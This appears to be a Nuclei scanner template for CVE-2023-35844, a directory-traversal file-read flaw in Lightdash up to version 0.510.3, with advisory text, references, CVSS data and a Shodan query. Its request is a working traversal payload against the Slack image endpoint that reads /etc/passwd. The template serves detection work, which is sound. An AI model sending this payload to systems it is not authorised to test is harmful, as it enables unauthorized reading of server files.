id: CVE-2023-35844 info: name: Lightdash version <= 0.510.3 Arbitrary File Read author: dwisiswant0 severity: high description: | packages/backend/src/routers in Lightdash before 0.510.3 has insecure file endpoints, e.g., they allow .. directory traversal and do not ensure that an intended file extension (.csv or .png) is used. remediation: | Upgrade Lightdash to a version higher than 0.510.3 to mitigate the vulnerability. reference: - https://advisory.dw1.io/59 - https://nvd.nist.gov/vuln/detail/CVE-2023-35844 - https://github.com/lightdash/lightdash/commit/fcc808c84c2cc3afb343063e32a49440d32a553c - https://github.com/lightdash/lightdash/compare/0.510.2...0.510.3 - https://github.com/lightdash/lightdash/pull/5090 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-35844 cwe-id: CWE-22 epss-score: 0.00499 epss-percentile: 0.73702 cpe: cpe:2.3:a:lightdash:lightdash:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: lightdash product: lightdash shodan-query: title:"Lightdash" tags: cve,cve2023,lightdash,lfi http: - method: GET path: - "{{BaseURL}}/api/v1/slack/image/slack-image{{repeat('%2F..', 3)}}%2Fetc%2Fpasswd" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 490a0046304402200227be168dcd802f5ea0786caae5b9b8c36f8c62acbf01ae527bdd139913514b0220237a54952116dd622db36daa91def66337ccc988161340cc0a6fc90fe6111f4d:922c64590222798bb761d5b6d8e72950